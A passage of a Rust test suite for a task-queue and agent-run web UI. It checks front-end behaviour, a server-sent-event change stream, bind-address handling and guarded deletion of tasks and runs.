13025 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13029 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13030 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13031 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13032
13033 assert!(APP_JS.contains("sandbox: \"\""));
13035 assert!(!APP_JS.contains("sandbox: \"allow"));
13036 }
13037
13038 #[test]
13039 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13040 assert!(
13049 APP_JS.contains(
13050 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13051 ),
13052 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13053 recursive renderQueue() call has nothing left to jump to"
13054 );
13055 assert!(
13056 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13057 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13058 arrives later still gets it"
13059 );
13060 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13061 assert!(APP_JS.contains("is not in the current Backlog."));
13062 assert!(APP_JS.contains("li.card[data-task-id=\""));
13063 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13064 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13065 assert!(APP_CSS.contains(".card-permalink"));
13066 assert!(APP_CSS.contains(".queue-focus-status"));
13067 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
13068 }
13069
13070 #[test]
13071 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13072 assert!(
13080 APP_JS.contains(
13081 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13082 ),
13083 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13084 );
13085 }
13086
13087 #[test]
13088 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13089 assert!(
13090 APP_JS.contains("round.verified_head !== round.head"),
13091 "a round that verified an earlier commit must be visibly distinct from one that \
13092 verified the head reviewers are looking at now"
13093 );
13094 assert!(
13095 APP_JS.contains("round.verified_at"),
13096 "when a check ran must be on the wire, not just which commit"
13097 );
13098 assert!(
13099 APP_JS.contains("resource_blocked"),
13100 "a command magi never got to run (shared build cache contention) must not render \
13101 the same as a command that ran and failed"
13102 );
13103 }
13104
13105 #[test]
13106 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13107 assert!(
13115 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13116 "every KPI tile built through statusTile() must route its click through \
13117 openRunsFiltered, the single place that sets the Runs filter"
13118 );
13119 for (label, status) in [
13120 ("Merged", "merged"),
13121 ("Ready", "ready"),
13122 ("Blocked", "blocked"),
13123 ("Stalled", "stalled"),
13124 ] {
13125 let call = format!("statusTile(\"{label}\", t.{status}, ");
13126 assert!(
13127 APP_JS.contains(&call),
13128 "expected the {label} KPI tile built via {call}..."
13129 );
13130 assert!(
13131 APP_JS.contains(&format!("status === \"{status}\"")),
13132 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13133 compare a run against, not one invented only for the stats tile"
13134 );
13135 }
13136 assert!(
13137 APP_JS.contains("function openRunsFiltered(status)"),
13138 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13139 );
13140 assert!(
13141 APP_JS.contains(
13142 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13143 ),
13144 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13145 );
13146 assert!(
13154 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13155 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13156 hashchange event that may never fire"
13157 );
13158 }
13159
13160 #[test]
13161 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13162 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13168 assert!(
13169 APP_JS.contains(
13170 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13171 ),
13172 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13173 guard for an incompatible tree section"
13174 );
13175 }
13176
13177 #[test]
13178 fn every_stats_queue_tile_names_a_real_queue_section() {
13179 assert!(
13185 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13186 "every queue tile built through sectionTile() must route its click through \
13187 openQueueSectionFocus"
13188 );
13189 for key in ["upnext", "running", "done", "held", "blocked"] {
13190 assert!(
13191 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13192 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13193 );
13194 }
13195 for line in [
13199 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13200 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13201 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13202 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13203 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13204 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13205 ] {
13206 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13207 }
13208 }
13209
13210 #[test]
13211 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13212 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13219 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13220 assert!(APP_JS.contains("function revealQueueSection(details)"));
13221 assert!(
13222 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13223 "renderQueue() must consume both focus channels on every pass"
13224 );
13225 assert!(
13226 APP_JS.contains(
13227 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13228 ),
13229 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13230 the recursive renderQueue() call has nothing left to reveal"
13231 );
13232 assert!(
13233 APP_JS.contains(
13234 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13235 ),
13236 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13237 );
13238 assert!(
13246 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13247 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13248 hashchange event that may never fire"
13249 );
13250 }
13251
13252 #[tokio::test]
13253 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13254 let f = Fixture::start().await;
13255
13256 let mut socket = tokio::net::TcpStream::connect(f.addr)
13257 .await
13258 .expect("connect");
13259 socket
13260 .write_all(
13261 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13262 )
13263 .await
13264 .expect("write request");
13265
13266 let mut seen = String::new();
13269 let mut buf = [0u8; 1024];
13270 while !seen.contains("event: change") {
13271 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13272 .await
13273 .expect("the stream must speak within five seconds")
13274 .expect("read");
13275 assert!(read > 0, "the server closed the change stream: {seen}");
13276 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13277 }
13278
13279 assert!(
13280 seen.to_lowercase()
13281 .contains("content-type: text/event-stream"),
13282 "the browser only reconnects automatically for a real SSE stream: {seen}"
13283 );
13284 let data = seen
13285 .lines()
13286 .find_map(|l| l.strip_prefix("data:"))
13287 .expect("a data line");
13288 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13289 assert!(
13290 payload["queue_rev"].is_u64()
13291 && payload["runs_rev"].is_u64()
13292 && payload["questions_rev"].is_u64()
13293 && payload["talks_rev"].is_u64()
13294 && payload["notifications_rev"].is_u64()
13295 && payload["loop_rev"].is_u64(),
13296 "the client needs one revision per store to know what to refetch, \
13297 and `talks_rev` is the only notification a standing talk gets - a \
13298 phone whose radio slept through a turn learns about it here, as \
13299 does one whose operator started the loop from another device: \
13300 {payload}"
13301 );
13302
13303 let health = f.get("/api/health").await.json();
13310 for key in [
13311 "queue_rev",
13312 "runs_rev",
13313 "questions_rev",
13314 "talks_rev",
13315 "notifications_rev",
13316 "loop_rev",
13317 ] {
13318 assert!(
13319 health[key].is_u64(),
13320 "health is the change stream's fallback and is missing `{key}`: {health}"
13321 );
13322 }
13323 }
13324
13325 #[tokio::test]
13326 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13327 let f = Fixture::start().await;
13328 let before = f.get("/api/health").await.json()["talks_rev"]
13329 .as_u64()
13330 .expect("talks_rev");
13331
13332 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13333 std::thread::sleep(Duration::from_millis(10));
13334 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13335 on_disk.turns.push(crate::talk::Turn {
13336 breaks: Some(Vec::new()),
13337 who: crate::talk::Who::Operator,
13338 body: "a new turn".to_owned(),
13339 at: Timestamp::now(),
13340 attachments: Vec::new(),
13341 usage: None,
13342 });
13343 f.talks().put(&mut on_disk).expect("record a turn");
13344
13345 let after = f.get("/api/health").await.json()["talks_rev"]
13346 .as_u64()
13347 .expect("talks_rev");
13348 assert_ne!(
13349 before, after,
13350 "a phone must be able to notice a talk's reply without polling every store"
13351 );
13352 }
13353
13354 #[test]
13355 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13356 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13360 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13361 }
13362 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13363 assert!("everywhere".parse::<Bind>().is_err());
13364 }
13365
13366 #[test]
13367 fn an_explicit_bind_address_is_taken_verbatim() {
13368 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13369
13370 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13371
13372 assert_eq!(addr, asked);
13373 assert!(
13374 warning.is_none(),
13375 "an operator who named an address gets no lecture"
13376 );
13377 }
13378
13379 #[test]
13380 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13381 let (addr, warning) = resolve_bind(&Bind::Auto);
13382
13383 match addr {
13390 IpAddr::V4(ip) if is_tailnet(&ip) => {
13391 assert!(warning.is_none(), "a tailnet address needs no warning");
13392 }
13393 other => {
13394 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13395 let warning = warning.expect("a fallback has to explain itself");
13396 assert!(
13397 warning.contains("127.0.0.1") && warning.contains("local-only"),
13398 "the warning says what happened and what it costs: {warning}"
13399 );
13400 }
13401 }
13402 }
13403
13404 #[test]
13405 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13406 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13410 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13411 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13412 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13413 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13414 }
13415
13416 #[test]
13417 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13418 let ids = vec![
13419 "20260902-140501-aaaa".to_owned(),
13420 "20260902-140502-aabb".to_owned(),
13421 ];
13422
13423 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13424 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13425 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13426
13427 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13428 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13429 assert_eq!(short, "20260902-140502-aabb");
13430 }
13431 #[tokio::test]
13432 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13433 let fx = Fixture::start().await;
13439 let id = panel(
13440 &fx,
13441 "<img src=\"shot.png\">",
13442 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13443 );
13444
13445 let doc = fx
13447 .get(&format!("/api/questions/{id}/panel/index.html"))
13448 .await;
13449 assert_eq!(doc.status, 200, "{}", doc.body);
13450 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13451
13452 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13453 assert_eq!(sibling.status, 200, "{}", sibling.body);
13454 assert_eq!(sibling.header("content-type"), Some("image/png"));
13455 assert_eq!(
13456 sibling.header("content-security-policy"),
13457 Some(PANEL_CSP),
13458 "the sibling route must carry the same policy as the asset route"
13459 );
13460
13461 assert_eq!(
13464 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13465 200
13466 );
13467 }
13468
13469 #[test]
13470 fn delta_stamps_cover_add_update_remove_and_noop() {
13471 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13472 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13473 let delta = diff_stamps(&before, &after, 42);
13474 assert_eq!(delta.base, 42);
13475 assert_eq!(delta.changed, ["b", "c"]);
13476 assert_eq!(delta.removed, ["a"]);
13477 let same = diff_stamps(&after, &after, 43);
13478 assert!(same.changed.is_empty() && same.removed.is_empty());
13479 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13480 let nanos: Stamps = [("b".into(), (2, 20))].into();
13481 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13482 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13483 assert_eq!(stamps_revision(&Stamps::new()), 0);
13484 }
13485
13486 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13487 std::fs::create_dir_all(home.join("runs")).unwrap();
13488 Arc::new(Ui::new(
13489 Queue::at(home.join("queue")),
13490 Questions::at(home.join("questions")),
13491 Talks::at(home.join("talks")),
13492 home.join("runs"),
13493 home.to_owned(),
13494 PathBuf::from("/repo/magi"),
13495 ))
13496 }
13497
13498 #[tokio::test]
13499 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13500 let home = TempDir::new().unwrap();
13501 let ui = delta_test_ui(home.path());
13502 let mut task = Task::new(
13503 "stream task".into(),
13504 "text".into(),
13505 PathBuf::from("/repo"),
13506 Source::Human,
13507 );
13508 ui.queue.put(&mut task).unwrap();
13509 let response = events(State(ui.clone())).await.into_response();
13510 let mut stream = response.into_body().into_data_stream();
13511 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13512 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13513 .await
13514 .unwrap()
13515 .unwrap()
13516 .unwrap();
13517 let text = String::from_utf8(chunk.to_vec()).unwrap();
13518 let data = text
13519 .lines()
13520 .find_map(|line| {
13521 line.strip_prefix("data: ")
13522 .or_else(|| line.strip_prefix("data:"))
13523 })
13524 .unwrap();
13525 serde_json::from_str(data).unwrap()
13526 }
13527 let initial = change(&mut stream).await;
13528 assert!(initial.get("queue_delta").is_none());
13529 task.instruction.push_str(" changed");
13530 ui.queue.put(&mut task).unwrap();
13531 let updated = change(&mut stream).await;
13532 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13533 assert_eq!(
13534 updated["queue_delta"]["changed"],
13535 serde_json::json!([task.id])
13536 );
13537 assert_eq!(
13538 updated["queue_rev"].as_u64(),
13539 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13540 );
13541 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13542 let removed = change(&mut stream).await;
13543 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13544 assert_eq!(
13545 removed["queue_delta"]["removed"],
13546 serde_json::json!([task.id])
13547 );
13548 }
13549
13550 #[tokio::test]
13551 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13552 let home = TempDir::new().unwrap();
13553 let ui = delta_test_ui(home.path());
13554 let queue = ui.queue.clone();
13555 let query = |ids: Option<&str>| {
13556 Query(ListQuery {
13557 limit: Some(2),
13558 ids: ids.map(str::to_owned),
13559 })
13560 };
13561 let mut root = Task::new(
13562 "root".into(),
13563 "instruction".into(),
13564 PathBuf::from("/repo"),
13565 Source::Human,
13566 );
13567 queue.put(&mut root).unwrap();
13568 let mut blocked = Task::new(
13569 "blocked".into(),
13570 "instruction".into(),
13571 PathBuf::from("/repo"),
13572 Source::Human,
13573 );
13574 blocked.block(vec![root.id.clone()], None);
13575 queue.put(&mut blocked).unwrap();
13576 let whole =
13577 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13578 .unwrap();
13579 let subset = serde_json::to_value(
13580 queue_list(State(ui.clone()), query(Some(&root.id)))
13581 .await
13582 .unwrap()
13583 .0,
13584 )
13585 .unwrap();
13586 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13587 let blockers = serde_json::to_value(
13588 queue_list(State(ui.clone()), query(Some("")))
13589 .await
13590 .unwrap()
13591 .0,
13592 )
13593 .unwrap();
13594 assert_eq!(blockers.as_array().unwrap().len(), 1);
13595 assert_eq!(blockers[0]["id"], blocked.id);
13596 assert_eq!(
13597 blockers[0]["waits_on"],
13598 whole
13599 .as_array()
13600 .unwrap()
13601 .iter()
13602 .find(|row| row["id"] == blocked.id)
13603 .unwrap()["waits_on"]
13604 );
13605
13606 for id in [
13607 "20260902-140501-aaaa",
13608 "20260902-140502-bbbb",
13609 "20260902-140503-cccc",
13610 ] {
13611 write_run(&ui.runs, id, RunStatus::Merged);
13612 }
13613 let old = serde_json::to_value(
13614 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13615 .await
13616 .unwrap()
13617 .0,
13618 )
13619 .unwrap();
13620 assert!(
13621 old.as_array().unwrap().is_empty(),
13622 "older updates must not enter the window"
13623 );
13624 let newest = serde_json::to_value(
13625 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13626 .await
13627 .unwrap()
13628 .0,
13629 )
13630 .unwrap();
13631 assert_eq!(newest.as_array().unwrap().len(), 1);
13632 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13633
13634 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13635 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13636 let talks = serde_json::to_value(
13637 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13638 .await
13639 .unwrap()
13640 .0,
13641 )
13642 .unwrap();
13643 assert_eq!(talks.as_array().unwrap().len(), 1);
13644 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13645 assert_eq!(
13646 serde_json::to_value(
13647 talks_list(State(ui.clone()), query(Some("")))
13648 .await
13649 .unwrap()
13650 .0
13651 )
13652 .unwrap(),
13653 serde_json::json!([])
13654 );
13655 }
13656
13657 #[tokio::test]
13658 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13659 async fn delta_payload_benchmark() {
13660 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13661 let ui = delta_test_ui(&home);
13662 let query = |ids: Option<String>| {
13663 Query(ListQuery {
13664 limit: Some(50),
13665 ids,
13666 })
13667 };
13668 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13669 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13670 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13671 let queue_id = queue
13672 .iter()
13673 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13674 .unwrap_or(&queue[0])
13675 .task
13676 .id
13677 .clone();
13678 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13679 .await
13680 .unwrap()
13681 .0;
13682 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13683 .await
13684 .unwrap()
13685 .0;
13686 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13687 .await
13688 .unwrap()
13689 .0;
13690 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13691 eprintln!(
13692 "DELTA_PAYLOAD {}",
13693 serde_json::json!({
13694 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13695 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13696 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13697 "counts": [queue.len(), runs.len(), talks.len()],
13698 "blocked": queue_delta.len() - 1,
13699 })
13700 );
13701 }
13702
13703 #[test]
13704 fn runs_revision_moves_when_deleting_an_older_run() {
13705 let temp = TempDir::new().expect("tempdir");
13706 let runs = temp.path().join("runs");
13707 std::fs::create_dir_all(&runs).expect("create runs dir");
13708
13709 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13710
13711 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13712 std::thread::sleep(Duration::from_millis(10));
13713 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13714
13715 let rev_before = runs_revision(&runs);
13716 assert!(rev_before > 0);
13717
13718 let old_dir = runs.join("20260901-100000-old1");
13719 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13720
13721 let rev_after = runs_revision(&runs);
13722 assert_ne!(
13723 rev_before, rev_after,
13724 "deleting an older run must change the revision so other clients see the deletion"
13725 );
13726 }
13727
13728 fn write_state(runs: &FsPath, state: &RunState) {
13733 let dir = runs.join(&state.id);
13734 std::fs::create_dir_all(&dir).expect("run dir");
13735 std::fs::write(
13736 dir.join("run.json"),
13737 serde_json::to_string_pretty(state).expect("serialize run"),
13738 )
13739 .expect("write run.json");
13740 }
13741
13742 #[test]
13747 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13748 let temp = TempDir::new().expect("tempdir");
13749 let runs = temp.path().join("runs");
13750 std::fs::create_dir_all(&runs).expect("create runs dir");
13751 let mut state = RunState::new(
13752 PathBuf::from("/repo/magi"),
13753 "main".to_owned(),
13754 "0123456789abcdef".to_owned(),
13755 "task".to_owned(),
13756 Config::default(),
13757 );
13758 state.id = "20260902-100000-c0de".to_owned();
13759 write_state(&runs, &state);
13760
13761 let rev_idle = runs_revision(&runs);
13762 std::thread::sleep(Duration::from_millis(10));
13763 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13764 write_state(&runs, &state);
13765 let rev_started = runs_revision(&runs);
13766 assert_ne!(
13767 rev_idle, rev_started,
13768 "a seat starting must move the revision"
13769 );
13770
13771 std::thread::sleep(Duration::from_millis(10));
13772 state.seat_finished("judge-1");
13773 write_state(&runs, &state);
13774 let rev_finished = runs_revision(&runs);
13775 assert_ne!(
13776 rev_started, rev_finished,
13777 "and clearing it again must move the revision a second time"
13778 );
13779 }
13780
13781 #[tokio::test]
13782 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13783 let fx = Fixture::start().await;
13788 let q = fx.queue();
13789
13790 let mut t = Task::new(
13791 "Task".to_owned(),
13792 "Instruction".to_owned(),
13793 PathBuf::from("/repo"),
13794 Source::Human,
13795 );
13796 t.block(
13797 vec!["20260101-000000-dead".to_owned()],
13798 Some("waiting on Task 1".to_owned()),
13799 );
13800 t.answers.push(crate::queue::AnsweredQuestion {
13801 question: "Which backend?".to_owned(),
13802 answer: "SQLite".to_owned(),
13803 });
13804 q.put(&mut t).expect("put t");
13805
13806 let res = fx.get("/api/queue").await;
13807 assert_eq!(res.status, 200);
13808 let list = res.json();
13809 let view = list
13810 .as_array()
13811 .expect("array")
13812 .iter()
13813 .find(|v| v["id"] == t.id)
13814 .expect("task in list");
13815 assert_eq!(view["status_str"], "blocked");
13816 assert_eq!(
13817 view["blocked_by"],
13818 serde_json::json!(["20260101-000000-dead"])
13819 );
13820 assert_eq!(view["block_reason"], "waiting on Task 1");
13821 assert_eq!(view["answers"][0]["question"], "Which backend?");
13822 assert_eq!(view["answers"][0]["answer"], "SQLite");
13823
13824 let res = fx
13828 .post(&format!("/api/queue/{}/hold", t.short()), None)
13829 .await;
13830 assert_eq!(res.status, 200);
13831 let held = res.json();
13832 assert_eq!(held["status_str"], "held");
13833 assert_eq!(held["blocked_by"], serde_json::json!([]));
13834 assert!(held["block_reason"].is_null());
13835 assert_eq!(held["answers"][0]["answer"], "SQLite");
13836 }
13837
13838 #[tokio::test]
13839 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13840 let fx = Fixture::start().await;
13841 let q = fx.queue();
13842 let mk = |title: &str| {
13843 Task::new(
13844 title.to_owned(),
13845 "Instruction".to_owned(),
13846 PathBuf::from("/repo"),
13847 Source::Human,
13848 )
13849 };
13850 let mut root = mk("root");
13851 root.hold_manual(Some("waiting".to_owned()));
13852 q.put(&mut root).unwrap();
13853 let mut mid = mk("mid");
13854 mid.block(vec![root.id.clone()], None);
13855 q.put(&mut mid).unwrap();
13856 let mut leaf = mk("leaf");
13857 leaf.block(vec![mid.id.clone()], None);
13858 q.put(&mut leaf).unwrap();
13859
13860 let list = fx.get("/api/queue").await.json();
13861 let find = |id: &str| {
13862 list.as_array()
13863 .unwrap()
13864 .iter()
13865 .find(|v| v["id"] == id)
13866 .unwrap()
13867 .clone()
13868 };
13869 let leaf_view = find(&leaf.id);
13870 assert_eq!(
13871 leaf_view["waits_on"],
13872 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13873 );
13874 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13875 assert_eq!(
13876 find(&mid.id)["waits_on"],
13877 serde_json::json!([format!("{} (held)", root.short())])
13878 );
13879 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13880 }
13881
13882 #[tokio::test]
13883 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13884 let fx = Fixture::start().await;
13885 let q = fx.queue();
13886
13887 let mut t1 = Task::new(
13889 "Task 1".to_owned(),
13890 "Instruction 1".to_owned(),
13891 PathBuf::from("/repo"),
13892 Source::Human,
13893 );
13894 let run_id = "20260901-000000-r111";
13895 t1.runs.push(run_id.to_owned());
13896 write_run(&fx.runs(), run_id, RunStatus::Merged);
13897 q.put(&mut t1).expect("put t1");
13898
13899 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13901 assert_eq!(res.status, 204);
13902 assert!(res.body.is_empty(), "204 No Content has no body");
13903 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13904 assert!(
13905 fx.runs().join(run_id).exists(),
13906 "run directory must not be deleted when its task is deleted"
13907 );
13908
13909 let mut t2 = Task::new(
13911 "Task 2".to_owned(),
13912 "Instruction 2".to_owned(),
13913 PathBuf::from("/repo"),
13914 Source::Human,
13915 );
13916 t2.status = TaskStatus::Running;
13917 q.put(&mut t2).expect("put t2");
13918 let mut beat = crate::daemon::Status::new();
13919 beat.current = vec![crate::daemon::Current {
13920 task: t2.id.clone(),
13921 run: "20260901-000000-r222".to_owned(),
13922 }];
13923 beat.updated_at = jiff::Timestamp::now();
13924 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13925 .expect("publish a heartbeat");
13926 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13927 assert_eq!(res.status, 409);
13928 assert!(
13929 res.json()["error"]
13930 .as_str()
13931 .unwrap()
13932 .contains("live daemon")
13933 );
13934 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13935
13936 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13942 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13943 .expect("leave a stale heartbeat");
13944 let mut t3 = Task::new(
13945 "Task 3".to_owned(),
13946 "Instruction 3".to_owned(),
13947 PathBuf::from("/repo"),
13948 Source::Human,
13949 );
13950 t3.status = TaskStatus::Running;
13951 q.put(&mut t3).expect("put t3");
13952 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13953 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13954 assert_eq!(res.status, 204);
13955 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13956 assert!(
13957 q.claim(&t3.id).is_ok(),
13958 "the stale lock went with it, so the id is claimable again"
13959 );
13960
13961 let res = fx.delete("/api/queue/nonexistent").await;
13963 assert_eq!(res.status, 404);
13964 }
13965
13966 #[tokio::test]
13967 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13968 let fx = Fixture::start().await;
13969 let runs = fx.runs();
13970
13971 let run_id = "20260901-000000-fold";
13973 let mut state = RunState::new(
13974 PathBuf::from("/repo"),
13975 "main".to_owned(),
13976 "abc".to_owned(),
13977 "instruction".to_owned(),
13978 Config::default(),
13979 );
13980 state.id = run_id.to_owned();
13981 state.status = RunStatus::Merged;
13982 state.candidates.push(crate::run::Candidate {
13983 index: 0,
13984 label: 'A',
13985 agent: "a".to_owned(),
13986 branch: "b".to_owned(),
13987 worktree: PathBuf::from("/w"),
13988 summary: String::new(),
13989 stat: String::new(),
13990 files: 1,
13991 commits: 1,
13992 empty: false,
13993 failed: None,
13994 verified_noop: None,
13995 duration_ms: 0,
13996 folded: true,
13997 });
13998 let dir = runs.join(run_id);
13999 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14000 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14001 .expect("write artifact");
14002 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14003 .expect("write run.json");
14004
14005 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14007 assert_eq!(res.status, 204);
